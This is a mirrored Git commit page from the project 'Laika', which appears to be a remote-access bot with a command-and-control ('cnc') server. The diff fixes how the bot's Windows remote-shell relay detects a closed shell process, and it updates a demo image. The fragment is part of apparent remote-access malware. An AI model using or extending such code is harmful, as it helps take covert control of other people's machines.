mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-24 21:41:04 +00:00
Fixed Windows Shell detection for shell closing
- updated demo.gif
This commit is contained in:
parent
14d17adf89
commit
26a1977609
@ -161,8 +161,9 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
|||||||
laikaS_write(sock, readBuf, rd);
|
laikaS_write(sock, readBuf, rd);
|
||||||
laikaS_endVarPacket(peer);
|
laikaS_endVarPacket(peer);
|
||||||
} else {
|
} else {
|
||||||
if (GetLastError() == ERROR_NO_DATA)
|
if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
|
||||||
return true; /* recoverable, there was no data to read */
|
return true; /* recoverable, process is still alive */
|
||||||
|
/* unrecoverable error */
|
||||||
|
|
||||||
/* tell cnc shell is closed */
|
/* tell cnc shell is closed */
|
||||||
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
|
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
|
||||||
|
BIN
img/demo.gif
BIN
img/demo.gif
Binary file not shown.
Before Width: | Height: | Size: 516 KiB After Width: | Height: | Size: 445 KiB |
Loading…
Reference in New Issue
Block a user